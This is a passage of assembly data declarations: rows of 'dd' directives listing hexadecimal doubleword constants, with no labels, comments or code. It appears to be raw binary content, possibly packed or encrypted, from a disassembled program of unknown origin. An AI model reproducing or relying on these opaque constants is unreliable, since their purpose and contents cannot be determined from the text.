0A4CA09BCh dd 0ED585F70h, 3968C26Dh, 2620EC1Dh, 0CFC2D076h, 0A43FDF25h dd 7EBCF219h, 0C9201720h, 0A2584FACh, 0DB81D209h, 0C93ED8E8h dd 9560FADDh, 1D2542CEh, 0A083764Ch, 63E19808h, 0ABB56F1Ch dd 0E0D8A5C2h, 64482950h, 0CDE7F15Bh, 5259CA0Bh, 21121C16h dd 8B8F1C57h, 0AF89585Dh, 31AD67A1h, 87857BD8h, 0F781ACFDh dd 2BA595E9h, 3FB8D795h, 0F7DF538h, 5BDF09A0h, 6F8B4C3Fh dd 535BE992h, 0BBBF6CC0h, 909A775Ah, 25C608D6h, 0B011A9Dh dd 47337A22h, 178CCFF4h, 85D9A41h, 0AD1DB7D6h, 53ACE08Bh dd 370276Fh, 75044A97h, 49509489h, 2F327338h, 240FE421h dd 0C9850CB6h, 9C65965Dh, 12E80B7Ah, 0F088D671h, 93CA8861h dd 0C02BA24h, 5D7C787Fh, 5859B0A0h, 6C5F9868h, 0F8C070D8h dd 1B4B48B9h, 6F51112Fh, 5C630264h, 0B151C380h, 0F1803100h dd 0C0D1F671h, 7E0778E9h, 0C5FE73C1h, 0FC28621Ah, 810C2787h dd 2576831h, 0A3CB592Ch, 564AE950h, 48498A25h, 0B0A07A53h dd 0C1212FA6h, 53442B71h, 0C18C2ACBh, 1B55689Ch, 6494DDF3h dd 0E5078169h, 15D57975h, 13E1B5B3h, 0A2C13016h, 92E9CFD2h dd 84B6FA52h, 0ABE38319h, 25BADDE7h, 53996ECDh, 0F101997Ah dd 82A76258h, 800F8FE9h, 36633C16h, 0F8894113h, 1CC3310Dh dd 0D030D825h, 333520h, 56D360Fh, 3E2F2DBh, 0E9C5890Bh dd 4855278h, 0CDDE8FF3h, 0D687AB64h, 9F92E5E4h, 4C11E45Ah dd 0F65AAFD2h, 0B9A28C35h, 32549231h, 53A71F58h, 0F20F3FD0h dd 0AA488C5Eh, 692E0635h, 0FCC26809h, 423368DCh, 0F07C2DE9h dd 5BDE2902h, 0A1805701h, 45482BB5h, 5EE92DC2h, 813F4615h dd 5A6DEDD3h, 0E62591D0h, 68C1FD76h, 0C16272C7h, 0D225F993h dd 536331BAh, 0F4CFED57h, 5528E9FBh, 0B7057409h, 0BEB65290h dd 81F12AEh, 0C101A56Fh, 0DFF708E7h, 0B6986120h, 0CF602E95h dd 0C8202B68h, 0EF1E700Bh, 6A7FC01h, 180F1C20h, 6848D704h dd 74B0313Ch, 25BF4006h, 0F5045F0Bh, 0FBC8042Dh, 167F0500h dd 13E0D56h, 9207D1C8h, 700950F9h, 87FEF445h, 2F0B74BAh dd 0BAB52F64h, 3D037D48h, 3053C2Dh, 0BBCE715Ch, 3CBF00D9h dd 2B4E0B55h, 7D65F801h, 6A110501h, 55224CA1h, 46B710h dd 0FB3A50B8h, 92DBD56h, 298A608Eh, 234ED8D0h, 82375B85h dd 0B8AEC6A2h, 0C526C3E0h, 8A1DD4A7h, 0F4E94A05h, 0DBE95AF1h dd 2F5E8D3Bh, 0E63768BCh, 56512568h, 94005FECh, 0BD6CA37Ch dd 0B5C8370h, 5AD50193h, 180BB05Eh, 0F339A7C3h, 0E17780A7h dd 0B450406Fh, 7BE4C037h, 47C40508h, 0CFD9B2E9h, 6EC17981h dd 29877023h, 7404B38h, 0F4615FE9h, 6613BE77h, 0AFE02E43h dd 9CA35Eh, 2B2AABA4h, 5EAC149h, 48685607h, 5E459C77h dd 5D15F7C0h, 0E02F5A35h, 0BF05576Eh, 23C0583Ah, 35246BAh dd 0EA5BC9ADh, 4BAA99E0h, 6FF7E0C0h, 0BC607441h, 0C077A990h dd 0F49C1A71h, 2E24269Fh, 0DBB1507Fh, 3E1C016h, 706050Dh dd 2C28FBD5h, 57ABB800h, 9B0D1F5Dh, 17AC4926h, 9A391700h dd 4BC32D62h, 543F8148h, 8F32A08Fh, 571EF11Fh, 2A15E16h dd 6F409540h, 0F51B4CEFh, 4057897Bh, 3A15B49Ah, 0F0BF7D1Fh dd 5ED4DC4Bh, 0FB833904h, 0E9D8215Fh, 0AB74E2F2h, 650C7988h dd 8420E458h, 0EC57E140h, 8A464B1Dh, 3CC6406Ah, 34E6540Ah dd 4612DD4Ah, 41E56398h, 0B3C22A91h, 27BA5E21h, 63A4FFEFh dd 0E04FF610h, 954AA169h, 61D8C140h, 0BD585A7Fh, 0CE9596C6h dd 665C13CBh, 22C39221h, 51D4486Ah, 4E09111Fh, 19FD82Dh dd 2FAE45C7h, 0C8DD8955h, 2CFB5DE9h, 739571D1h, 850210A9h dd 0D1E25DEFh, 4955769Ah, 0C4343D28h, 0EAC1905Bh, 7EC4BAB2h dd 0EF324D5h, 0FFBD45C8h, 281E140h, 95B124Bh, 6D436851h dd 8A63FA7Eh, 607BE250h, 0C3C5901Ch, 7EEA804Eh, 3C3D4AC1h dd 0E834E7E9h, 41E949C0h, 0BC91D3F3h, 0A51E2764h, 6C06C440h dd 72AEF030h, 89FF8216h, 2667EBDh, 0D7F7FB87h, 0DF932343h dd 3583084Ch, 0D2EB2AC4h, 28F462F9h, 0AC0CFD02h, 83B18F64h dd 4E077F5Eh, 5D498048h, 674F91CFh, 0BF54FAB4h, 2C301819h dd 79B75A63h, 3C130F59h, 0A05BD0DCh, 4258B001h, 500648DFh dd 0B860FCB5h, 7D6AEED9h, 0C3360E2h, 6F363713h, 6949E897h dd 4CA3F4ECh, 4D2D2D89h, 0C9E56600h, 413B7B36h, 53014AC1h dd 68D0143h, 8058852Ah, 1F3D0521h, 0D60AF328h, 8E54B95Ah dd 2FF45873h, 0EB686860h, 0FF141817h, 2C380C20h, 0D390DB73h dd 4397F784h, 0E9560D98h, 0FCBCFEFAh, 0F45009B0h, 0A601F681h dd 0E921035Dh, 58841B44h, 0F8514168h, 718CC1F4h, 0B6924415h dd 74D24008h, 53E9EA8Eh, 0CE2C37DDh, 2821E808h, 0BC3525B3h dd 4C9713EEh, 0F74A2DA0h, 853C3427h, 1F4CAC85h, 2ED3BFB2h dd 0D85BCB82h, 363B644Ah, 0C812FE66h, 3D213CACh, 59316299h dd 9D7132F4h, 415B8718h, 504BA727h, 57E91653h, 322FE9D7h dd 64333925h, 0E7932E10h, 0CB6B6B7Fh, 2620CEE1h, 8E6B1017h dd 46125D3Fh, 5040B3CBh, 0D3404275h, 0E8F5A34Dh, 0BD9C971Ch dd 157132C4h, 0E92D02ECh, 8EF88E04h, 14ED64Dh, 5BBC9C2Ch dd 0F8634C92h, 2ACFB730h, 0D10852Ch, 75965C2Fh, 0EE84ED42h dd 0B51713BDh, 50B9BAFCh, 0E983B4FFh, 4031964Dh, 997F282h dd 0D22FF451h, 89FCA075h, 4BDA68E0h, 0F6164845h, 0C21E7625h dd 0F7050C0Eh, 1837A8B0h, 0C729C2Ah, 0A2242399h, 8B170D3Ah dd 0D8016A43h, 25BAA052h, 1253481Ch, 5F6A7C1Fh, 0C17E65Bh dd 0DA2807E6h, 1851E92Ch, 20E8BE81h, 5E3473C4h, 0F2A297D2h dd 7ADC274Bh, 9D8E0469h, 68D770FFh, 0C9348FDh, 0F23C4C09h dd 19920B58h, 21E2F70Ch, 0E92771D0h, 84D1597Eh, 1F4C7468h dd 2F84C153h, 45C39977h, 0BB220713h, 0FC4D8CFEh, 52D75BC6h dd 4F1839CBh, 52E6638Ah, 83BC49F0h, 0FD1DC792h, 29386CC1h dd 0B0284F42h, 0B5ADE917h, 44B44A1h, 0AACC8925h, 67EF2870h dd 0B34272Ah, 809356Ah, 98372182h, 2710455Fh, 681F1DD2h dd 0FDB46C37h, 69594C87h, 0E22EC3E6h, 0A2374C84h, 98C45DB8h dd 494FC304h, 50EF7D20h, 955E08CCh, 0C19A49CFh, 0D2F6D922h dd 0E05D8384h, 4B90802Eh, 0E2280739h, 64EDEF84h, 2D78B1FCh dd 0C100EED0h, 213503E8h, 2488C36h, 77F71C2Dh, 165F89EEh dd 42CE9C90h, 7409F346h, 51028130h, 615F73D0h, 0C0456C4Ah dd 692140A1h, 0B8502F5Ah, 0E9180BDAh, 0C643DE36h, 67321E12h dd 0E0B2D210h, 0F29505A4h, 0F92D4A29h, 35445A33h, 8005A86Dh dd 0F79BC3C7h, 0D4AFEFABh, 0FFFACD6h, 9505556h, 0BC5CD8DBh dd 405E2848h, 57FEB930h, 1738073Dh, 176136DDh, 317A5CB0h dd 6313E4FCh, 95A4C18h dd 2DC307Fh, 5CCD9199h, 0F06962FBh, 252F7D4Ch, 0C20E1342h dd 27F8567Dh, 0E99F8E53h, 6C523517h, 430064B8h, 8140C844h dd 331245E7h, 19AE463Fh, 6BBCE6DDh, 0C82BC932h, 58F3B153h dd 28730080h, 4DFD39F1h, 0C3050325h, 229F671h, 934A05B7h dd 635A6257h, 6B2DB0F0h, 0A10CC01Ch, 1A70B16h, 0A55EF23Fh dd 5226D4EAh, 2728BF54h, 11433203h, 0AD70E94Fh, 4FAB8E88h dd 90BA6C5h, 3039C968h, 2832DF77h, 20A327EFh, 545FF21Ah dd 4D69E0D8h, 0CB8B3D0Eh, 0EAD6C492h, 41F038C5h, 0C5094E5Ah dd 0E3C4B871h, 0F6048CF4h, 0E453C2DCh, 8AB9E44Eh, 7CE1A539h dd 22E88018h, 2F2DD8F7h, 41ED4601h, 0D5704D05h, 0B168C77Eh dd 7025DC33h, 20042CDEh, 0DBF72EF6h, 0BD15C2h, 5C61C50Dh dd 252D5803h, 0AF76AD40h, 0E48882F0h, 90C67D31h, 0C9A15F5Fh dd 0DE4D41DAh, 0F9F9133Fh, 6623E6AFh, 0C469F24Fh, 51293E5h dd 88F559C2h, 334F36DFh, 3A841F41h, 64EC160Fh, 60BF9624h dd 0B8C18093h, 631DE1E6h, 0D1ECB050h, 58D6081Eh, 8079C993h dd 78F659CFh, 50CDEBD7h, 212DE52Fh, 749FF329h, 4B7DC5C7h dd 4C02C14Bh, 2D50EE83h, 7FD9C80Bh, 68DFA189h, 44637C42h dd 0BD856E48h, 9053D9A1h, 9DD246B0h, 786D315Bh, 235C35CCh dd 5B8B45E8h, 0BB26D42Fh, 9D8125F6h, 4E2708ABh, 3562B287h dd 66050F20h, 1C8305Ah, 0E4885B65h, 0E40460Ah, 0E1BA4AB3h dd 77832AFDh, 45F8C4F0h, 687C7EC9h, 2FACC2Dh, 0FF36856h dd 0BF64F44h, 805DD95Ah, 0F50968E6h, 0BD015579h, 7A8D2682h dd 7F70EE29h, 252F13CEh, 13E6A809h, 0B7141A01h, 20851F7Ch dd 0CE941E9Eh, 6F0841BCh, 40C24E2Ch, 892F5FF0h, 0AD6045DEh dd 603E150h, 6EE94C23h, 0EB170234h, 29B65B1h, 8E628DFh dd 70B4926h, 0D1586A03h, 88E2A5BBh, 0CA070C41h, 0B3884BF9h dd 0D82801EEh, 3A5B6D04h, 4CB17B98h, 0E426723Ch, 5AAB10BFh dd 0A14DA349h, 40EB8077h, 293BDEC1h, 73C6F817h, 0CEBE918h dd 0E154F711h, 85F5816Bh, 89570006h, 27F0BED7h, 1FE04AE3h dd 0CC1531Bh, 43631EFFh, 850506Ah, 35140C68h, 0B03FBCEEh dd 0B5B93FE9h, 0E103E069h, 2D4774FEh, 6A3AFC90h, 66368746h dd 61F53C70h, 0A49361F2h, 0E241E02Fh, 0C092CA6Fh, 575BDF29h dd 0CBAE72E9h, 3F73E337h, 0C9F613C9h, 492E1F67h, 83608BA0h dd 7C4CFF68h, 0FE12DED0h, 5A4932EAh, 8C097856h, 9457F607h dd 0A1756D05h, 986B5E77h, 0E91AD0A7h, 0E8A49E75h, 80FE12E3h dd 0A91EADBBh, 0CC8CC4BFh, 0FC3EF42h, 34F3717Fh, 2462E869h dd 5DEFB277h, 853327A2h, 92BDACD3h, 0C58823E6h, 3F2E00F5h dd 564579C1h, 0F41653BEh, 0A484B9ECh, 2DE970A0h, 0D2519041h dd 81116598h, 477238F6h, 0A497643Dh, 8484A818h, 36F23BDAh dd 11689C98h, 919A455Ah, 0BFFE5924h, 0C1200183h, 9C0005E5h dd 4E521AE8h, 0BB8D78E9h, 1180875h, 753A5118h, 0E1839560h dd 4DF0E3EDh, 0CDEE457Ah, 2804460Fh, 24C5A122h, 78DA9DBBh dd 0B4A2E4E5h, 60113BDh, 0EF8FEE8h, 0B7899C97h, 6195C9E4h dd 0EE206674h, 89619C20h, 2D0971B5h, 0B22D9EF6h, 7643A9BDh dd 32B15472h, 16206328h, 15F27C6h, 6A5B2D64h, 6FB1AF80h dd 9AC43D80h, 85C37C2Ch, 0C1F3015Ah, 1202EB6Ah, 0B9315F53h dd 90E9E45Bh, 4A17BDB4h, 0BA5D020Ch, 0E8D1255Ch, 0E0E64C70h dd 855DD90h, 0A446B4BAh, 21E8BF0h, 0E978FD73h, 0B75E493Dh dd 39072D9Ch, 0D9C342EBh, 0BA182F28h, 377BD2AAh, 0EC4BF283h dd 9062A51h, 96E11C77h, 64A03560h, 3F61FA3Eh, 8B7B6BE1h dd 0E6012D39h, 0F4262583h, 0F4C5FDC4h, 3B53C97Ch, 0BDC02CE2h dd 0E98107Ch, 0A7C2F6A1h, 0A6ABD32Eh, 69F8A56Eh, 0F4C8105Bh dd 25517A66h, 2E68CE0Ah, 0CB003BD5h, 5EF1810Fh, 0F80EAC12h dd 4DAEB05Ah, 2D0FEC86h, 4C006FD6h, 0B0456B05h, 0EC095E7Ah dd 0D6646671h, 0F90720AEh, 0A9E91140h, 134FA4CAh, 615C7B68h dd 2B4A9555h, 0F612728Bh, 0C89CF886h, 0F9018B40h, 0E90DFDE5h dd 4C302372h, 0E0D0FEAAh, 0FC2C74C8h, 2C13B606h, 0BB530090h dd 779A25D8h, 0E239DDB4h, 563F7824h, 32078E92h, 21800D29h dd 19C8B26Eh, 0F3092890h, 0A35CC40h, 8205E5Fh, 0F27AE92Eh dd 68EFE0A7h, 0AA553230h, 314A121Ah, 9B8E85Fh, 79042431h dd 23AE0368h, 0C3D12854h, 0BADD5858h, 0AB21701Ch, 0EBE290A6h dd 31766CC0h, 0B0DBEEE4h, 0D9069E02h, 0BBB6AAFEh, 0FD795A76h dd 5096D32Ch, 0C6E91754h, 0A39164E5h, 25C05802h, 5E8FC282h dd 66BF5072h, 7D2B5B16h, 162086F4h, 0A8484269h, 0E9115084h dd 9456D49h, 0D178C180h, 89F6693Fh, 8086Eh, 55C82DADh dd 5E90563Ah, 5CA2EC20h, 0A32F6B5Fh, 0A059AA20h, 3125A7E0h dd 0EDBE79C8h, 2B7325CDh, 0C112F2B6h, 2734AE58h, 0CFA60C2h dd 24BB5050h, 7EF261B5h, 88525802h, 0B5708AEEh, 8B422FEDh dd 5581BEE9h, 68E1D445h, 0CC6E7755h, 139E02D9h, 0C9058469h dd 53EF6803h, 0CA4FAB10h, 9F4CEC78h, 0F7298A02h, 38091B70h dd 8B7EA564h, 5BAE8B77h, 58AA870h, 440325B9h, 0BC398543h dd 68AC04A0h, 30FB657Fh, 39E905DEh, 0BF88B1A3h, 0F9017A5Ch dd 0ED266801h, 57FD1FE6h, 0BA4D032Bh, 9AB4816h, 2ECBEA02h dd 0C1515B26h, 0FA75221Ah, 4ABA9E6Eh, 0E9824DA2h, 18DB30EDh dd 156296BDh, 905A36C8h, 0F2584BF5h, 42BBC0ABh, 18642221h dd 64FFB87h, 0D348F74Bh, 6F8307CFh, 0E99232D6h, 0FD83AA42h dd 0FEA12702h, 0F0A2E113h, 0A27C407Bh, 0C145222Ah, 2C06E33Fh dd 189853Fh, 0D2AD00CFh, 0D2157E47h, 0B898C0F0h, 0D0B2CF5h dd 52D0F71Ch, 950B298Eh, 0FAF608E0h, 1D0C5612h, 167B37E8h dd 8A658528h, 6CC7F57h, 3D355058h, 0F2C4AB9h, 21E90591h dd 0E0C1CDCAh, 2295F45Eh, 5DC4BE86h, 0A02FE046h, 78A33AE7h dd 69CD969Ah, 29D7CAAh, 793E213Dh, 4008C4C0h, 37000D7Fh dd 0DE0527A5h, 0B2D802C0h, 62687B75h, 0E6795135h, 0FDFA77C6h dd 0B8E6295Eh, 4B58568Bh, 0CB7E985Ch, 2DF9DA11h, 725009C6h dd 4AF1212Dh, 4F0977ACh, 805EA63Ah, 9533816Fh, 0C46B015Eh dd 5A080931h, 97FE9E75h, 51398Bh, 17E85892h, 0E92998E4h dd 0C3B1EE26h, 0E385649h, 59EBCE08h, 0FC0D6ED6h, 0DB7820D1h dd 16BF5701h, 0F8648F6Fh, 22BD11F4h, 10AAC3Dh, 3C22F968h dd 84D3C4C3h, 42CD8101h, 1E816A3Ch, 0BB03BCC7h, 0BF9003F6h dd 35D55B54h, 8E647109h, 0A0F27045h, 1276E36Fh, 50012485h dd 0D14B0883h, 0AFE03966h, 7302D048h, 4D2E0A81h, 1097A30h dd 0D0416BF6h, 0B8D1429Dh, 56825168h, 58C5CC48h, 60230D4h dd 14E72D04h, 4155A034h, 0B0ACA1Dh, 0D3500FEEh, 95AAD113h dd 0C3D2795Ch, 3DBE1753h, 15A5627Dh, 7A9442A2h, 0B32B1449h dd 9D0C5883h, 6BA68E2Ch, 55420854h, 3BA90AC5h, 0D5432DA5h dd 82D385EFh, 5B02F092h, 0C76DC901h, 0B8D66562h, 0D2E8D6BFh dd 957EB985h, 8562EAB0h, 1911F5AFh, 0F7258BA7h, 0D0DFCDAh dd 6013A2CDh, 1C125CB3h, 0A90363E1h, 89682718h, 92366E84h dd 4C3BE210h, 95481097h, 7268520Eh, 5A69ED42h, 6503E1C7h dd 0F0594034h, 962DCF7h, 0F1E91BF4h, 0F505807Ah, 89A2DF3Fh dd 0E02016BAh, 340481Ah, 0D649EC5Bh, 330BA1BDh, 0D6C913E5h dd 891F1FF6h, 3CFD0CCAh, 3BD22C23h, 10DE1704h, 0FA7464ABh dd 1387FE98h, 1679364Fh dd 0F2D21391h, 38CD5B94h, 72F8FDFAh, 0F6AFC695h, 4F4BAC2h dd 0CD419905h, 0EFD58226h, 292DD7D2h, 3F99F121h, 0D5837E19h dd 27F02652h, 0D9A4A989h, 80E9705Ch, 9890374Ah, 580DB0BDh dd 0DD300408h, 0FFED8304h, 0E94D451Fh, 0B0E4C6D7h, 66A32504h dd 345667E9h, 43B7B301h, 421B4245h, 2CA838Eh, 0B252003Fh dd 0C0CAFEC2h, 0F607E201h, 6EEA80DAh, 5302108Bh, 0B24AE054h dd 5076C102h, 5240D768h, 0B9385152h, 810A3D96h, 5986E2BAh dd 0E34729AEh, 0EEEAAEC9h, 0AC30E5CBh, 2D00248Ah, 665747FBh dd 551D029h, 0E6840307h, 8162C4D0h, 0A3AED1Ch, 0F665159Eh dd 81B16B19h, 20BF1401h, 4014B510h, 38A1794Ch, 67D09605h dd 3AAE7008h, 0A7CFE9Ah, 8A691454h, 0DEA5EC2Bh, 215CF0FFh dd 725EF025h, 2CC8904Fh, 42D7FB90h, 0D10BFD4Ah, 335C4960h dd 0D5250490h, 97C8AD28h, 108B8B56h, 0C44AD220h, 0C480E8C1h dd 0FC1C138h, 0BA00B81Ah, 392E5580h, 0C712894Fh, 0B6969E5Dh dd 4F7E321h, 925D45CCh, 0C914BD8Eh, 2FB03ADCh, 2C54C5C9h dd 12FA2C70h, 0B519BC29h, 5B712388h, 8480E2C7h, 1C845EF1h dd 50189AEAh, 2408C82h, 474A3168h, 38A1EEF7h, 0E554F261h dd 95FACE2h, 215A1E9Ch, 0ED6CDB0Bh, 0F2250040h, 16769A79h dd 43D6892Eh, 0B6B7BEAh, 0B20B51CBh, 203666F6h, 751D9363h dd 0EE87132Bh, 0ECF84B95h, 63BF04D0h, 6E54842Dh, 0F3D98916h dd 0C14106C8h, 0CF607E1h, 4A0851DEh, 528A40Ch, 0CE2F8A15h dd 582C559h, 440FCFE9h, 0CC485183h, 0CE48B476h, 0A1BE244Dh dd 0F4C05752h, 0DB9D2068h, 8BCC0B89h, 509FC0D3h, 5BEDA115h dd 7442FC1h, 7E20A32Fh, 7213342Fh, 0C6EA037Ah, 0D14AD40Dh dd 62282B4h, 0B186A077h, 62EE80DDh, 287E0F73h, 81362EBh dd 2C8472E9h, 3D2861Dh, 779D2501h, 0CFDB3BF3h, 0A22257C0h dd 9F699031h, 0B7F9689h, 411D5921h, 6922F0E9h, 5F98073Ah dd 45B57D43h, 0B74F97A8h, 5644D6CAh, 560BB1BCh, 5FC25774h dd 4934A94h, 540102DBh, 0FDDE0AF9h, 666A24A8h, 0E2DEB90h dd 0D98E3B08h, 75623C07h, 0A2885912h, 0A42D7EACh, 0C78224A7h dd 0C185BFFDh, 0A131EBBDh, 0A72B18B1h, 7F491352h, 7AA75746h dd 0D15A5B8Bh, 15BCF020h, 31958497h, 9BFCBB0h, 0AE8743Dh dd 0AE01F2DBh, 2942A95Bh, 52D78700h, 0DEE742BFh, 8A4A6CF7h dd 0ED8001EBh, 0C9E0079Eh, 0DCF2A966h, 420F5FF8h, 0F4C1010Eh dd 7A09799Dh, 0D2C79A70h, 0FE27632h, 0E94E237Ch, 7E3C924Dh dd 0D13FB10Ch, 86D413F6h, 7A63E8E7h, 77F5801Ch, 0C04EE5CEh dd 0EE8884C5h, 5ACEF859h, 0C05208AEh, 3ED57127h, 8DF12014h dd 8FE98004h, 0BA2B8430h, 0EF307F89h, 280999Dh, 0F6299B0Bh dd 0C130815Dh, 442018E8h, 0B22829E9h, 10A0ACDFh, 0BCA0D60Ah dd 0BCEC4BB9h, 3E1AC4F2h, 7A685600h, 484CA455h, 994310A2h dd 0D67EB21Dh, 685B8046h, 2AA8795Fh, 3120EBDh, 40BE3582h dd 8511C9B3h, 0EE482961h, 563925A4h, 0E11964F3h, 855DFEB1h dd 74D5216Fh, 0F4B76AE8h, 0EA10945Ah, 52E7E04h, 80B0CCFAh dd 0EA5B2B40h, 1C3078C3h, 0F72806EBh, 0CF3D5810h, 9AC4B2E9h dd 6275EE11h, 502E04ACh, 4B6E8007h, 0D9E8B834h, 5BD6C22Ch dd 0E9242998h, 34A24ECAh, 0C4D1EC1Dh, 2BC0D6F6h, 99F028FAh dd 17126AF1h, 0A45A0B53h, 0BB8E8B08h, 0EBADC2CAh, 84F33102h dd 35AA0EC0h, 0B4691EC6h, 3EDCA1BBh, 32F144F0h, 295AA1F9h dd 0C030140h, 3403D5B9h, 0DA070DF8h, 6145CA09h, 0FC75C9F3h dd 0BDA51D28h, 0E2680901h, 6113FC03h, 0AC38E0E9h, 32168CC3h dd 5EA275CCh, 6608303Eh, 640F9278h, 0C0F60D40h, 0D1E93D45h dd 0EA79C08Ah, 3BE60E85h, 5BFA9BB8h, 0F09DCC9Ah, 0D3E3F085h dd 0C23B01E9h, 82F2373Ch, 54BA3E0Dh, 888BFF9Eh, 52963879h dd 4BE92988h, 0D0F7824Eh, 916613C0h, 98D76E9Dh, 0A71454F7h dd 673E8h, 0E2D05E0h, 0E9FCC323h, 91176FF5h, 688265EDh dd 7790531Fh, 83093B61h, 0A7559544h, 35605D45h, 4B7CC49Ch dd 0E553ACBBh, 715ECE09h, 8D104936h, 699EB976h, 9B2D3389h dd 9F2F3DBh, 2F996847h, 67379EDFh, 5568EB5Eh, 95D8E336h dd 13783269h, 536A77BBh, 0D2276BD0h, 203D46D1h, 5C5B77C6h dd 0BB0D6B8Dh, 8100B4C5h, 818F1EFh, 0D30C6F7Fh, 134C76Ah dd 5C7E5D7h, 2B85008h, 0F2FBE914h, 440F774h, 484C111Fh dd 9A2AB912h, 34892744h, 5EE4455Ch, 5F1E8EBBh, 1E2B8FE5h dd 0A2C135BAh, 287D450h, 12FBE416h, 0CB444389h, 0A10FB9E3h dd 9F32FE30h, 0D5D0A52Bh, 0B3A4C32Eh, 0D8B9F1Fh, 0E6DC342Ch dd 685716E2h, 4FE2BC86h, 9ACF8AA0h, 4E5C2FA6h, 1524BFEDh dd 0C628BE28h, 7D9C5C7Ch, 0EB5B0CA8h, 0DEFE9384h, 6B5C2628h dd 0B3092617h, 0DF19802Bh, 2E1F3877h, 1A1AD9F7h, 0C7000A05h dd 33190C67h, 0E9134071h, 4941FE6Fh, 0FA015EF7h, 3B49B46Ah dd 0A8BD2A4Ah, 9201FC4h, 514DD457h, 76A51131h, 62F1CB81h dd 0EC1A70AFh, 0F494CF3Dh, 4ED96E89h, 85ECB712h, 97CDBA30h dd 5C895FF9h, 0D609C0CAh, 0EB0D565Ah, 0E5F57D37h, 0C3282545h dd 90A1583h, 43688C06h, 724292C2h, 0F0D6C0A9h, 0A43DBDE0h dd 4A294257h, 0E90B45ADh, 679B7B3Eh, 0D1F76B1Ah, 16B17A0Bh dd 8C11F868h, 94416E77h, 68A0EB6Ch, 4E9515C5h, 31D99D4Eh dd 0E7B9186Bh, 809791A5h, 676FEB81h, 5625771Eh, 92E874BEh dd 4C54B429h, 8B85E2B5h, 8AA6746Ah, 0BDB34DE9h, 2E9EF681h dd 21892CA1h, 72D0F904h, 0CC680FE5h, 0D0E62B55h, 0FA050E5Bh dd 0BC52076Dh, 2007410Eh, 7812ECCFh, 0BFE01D44h, 3869BD40h dd 95EB41EEh, 97647C20h, 8C8484FCh, 36BF0075h, 7B726425h dd 99BB254Fh, 4BC9D5A8h, 0E942E55Ch, 0D5994A1Ch, 0C237CC40h dd 7DEBCDC1h, 0C56E6386h, 0D02CAEB3h, 4BBBB2EFh, 84C7ED5Ah dd 0C3400672h, 0FE5FE1F3h, 7AED014Fh, 0A94C440Eh, 4045534Bh dd 4E685000h, 4E64EA73h, 32F3C258h, 0D455F8E1h, 0BE0F15B8h dd 0F75F5031h, 6384EAB0h, 0BF8F58Fh, 0FBE0678Ah, 8E276D4Eh dd 20ADFA68h, 34FB0D55h, 231FA3ABh, 0D9573F9Eh, 0BA59E0h dd 73885D58h, 608DF281h, 462E63Bh, 341886CAh, 0BAC207C0h dd 58BE1936h, 31F30E42h, 7392C80h, 50F5097Ch, 7502D0CAh dd 0F7297646h, 17082908h, 0E546095Ah, 0C8EEAF7Eh, 1DC261Ah dd 0CB950EEAh, 0AFC23EF1h, 944150DEh, 1500BAADh, 1E3065Ch dd 520259CDh, 4B95BD55h, 0F5CD60C4h, 202712F1h, 82CB843Eh dd 1F83A37h, 680556B4h, 0BA3275ADh, 0D0CB8055h, 46A3566h dd 795728BDh, 0F5F4A410h, 2B331E0Bh, 20F6DA6Eh, 41970ED8h dd 50F00BAFh, 17AD9022h, 0F3F3411h, 24986C61h, 7113C1BDh dd 91B13040h, 2D6FC86Fh, 2E10260Fh, 15CD7665h, 322B75F2h dd 0C2202570h, 0A2AC48DAh, 597ADE58h, 4F78B720h, 0A4A8F455h dd 5F5B29C9h, 685169B0h, 0A22718D8h, 0EF8080B0h, 0BBC0CC39h dd 0ECF71907h, 0F36AF612h, 81BC161Eh, 0A322623h, 0EA013B3Eh dd 0C10820D3h, 0E30F331Ch, 0A2CA3E56h, 8073164Bh, 8ABEE93Eh dd 5BD88BC3h, 708BCA52h, 54050F39h, 0D254E14Dh, 50072D28h dd 62F7E05Fh, 739BBF15h, 51D8EC20h, 38B370B1h, 0E33D59CBh dd 0A05CEBBCh, 0E0B018B6h, 0B652C30Fh, 11C60154h, 0E45299E9h dd 0B51FE29h, 55322128h, 3AA7A861h, 8CBF55C4h, 0EE0481E9h dd 4F34148h, 0C62867F8h dd 5A594808h, 0BA04CA20h, 382F1651h, 0AB029184h, 0C021196Ah dd 5DCCE940h, 0B99762DCh, 5CB25F91h, 0A2CBEC3Dh, 4AE9A0C5h dd 8B1CBCEEh, 13BA6F38h, 0D06B03DEh, 0AEBD8077h, 0AE12D309h dd 60351128h, 2BE799E6h, 302DC224h, 3240B155h, 0C38803FAh dd 3CA3C0B9h, 7ABAC504h, 895AF4A3h, 0D4CC6F0Ch, 863A13B1h dd 408A87E1h, 0E98AF180h, 4C4FED68h, 6AFE0A69h, 5AC6FC6Bh dd 524BA150h, 0E912319Bh, 4EF3B86Bh, 0EB7C8BE6h, 2568CB24h dd 727B05DCh, 25D94B08h, 0E11E627Ch, 689E9749h, 57EDF50h dd 0D509C3ADh, 2065E55Ah, 4605441Ch, 9FE91C72h, 0F3A282D4h dd 5DF96882h, 531E9271h, 41DAD6Eh, 0FB25C4E4h, 5D89492Ch dd 0DF892C7Bh, 62027E1Bh, 9C75A90Ch, 5445FCF2h, 0B05B4D4h dd 0B342C82h, 8E27DBF6h, 0D6C3CE54h, 0C2FD49AEh, 0EE0C1975h dd 10626051h, 0DB202E32h, 254BF1F4h, 5A7E08Ch, 0E9239459h dd 6EEFB1D2h, 4C51968Eh, 0AD2C4B38h, 19B303D8h, 0FE063BBCh dd 53D24EB6h, 51A40F0Ch, 0CE830AECh, 0B885C44h, 975E74E9h dd 5D874AD1h, 6B6D2D6Eh, 8DBAE584h, 3E4A313Fh, 0B2BFB340h dd 3D756263h, 2DFEEFC1h, 1ECCA02Fh, 0C0F6555Bh, 0C3336704h dd 5721C120h, 47A73FF8h, 71E4680Bh, 0BE9C1B0h, 0B9092F96h dd 41B10537h, 6BF9C80h, 0E7A6076h, 0C11761C9h, 7E5A667Ch dd 8F6425C0h, 6B18F002h, 0F7791071h, 9EFDD293h, 74CE093Fh dd 88D7B4DAh, 1606C76h, 0E2E951A1h, 6BA595B7h, 44AE0305h dd 0AAC4157Dh, 11A7FF94h, 4A057C40h, 4F9D8C5Bh, 3E9A6002h dd 7D165AE9h, 46CCF620h, 17C2EF2h, 24BE5FAh, 9CB25745h dd 3AEAC6F0h, 0E6FE8003h, 0F2E676F2h, 0D3881308h, 4ED6125Ah dd 0DE0B4DD9h, 44D7AD05h, 0ABDD31F3h, 5A918488h, 0D3E3E908h dd 0A15305BBh, 96DEAC70h, 300000D5h, 3FAA08B7h, 6A5AC9F7h dd 20292C41h, 8C660577h, 401A4834h, 0E30FB918h, 0F37D590Fh dd 8A952EAh, 680FAA10h, 3D1CA03Bh, 0E1CB815Bh, 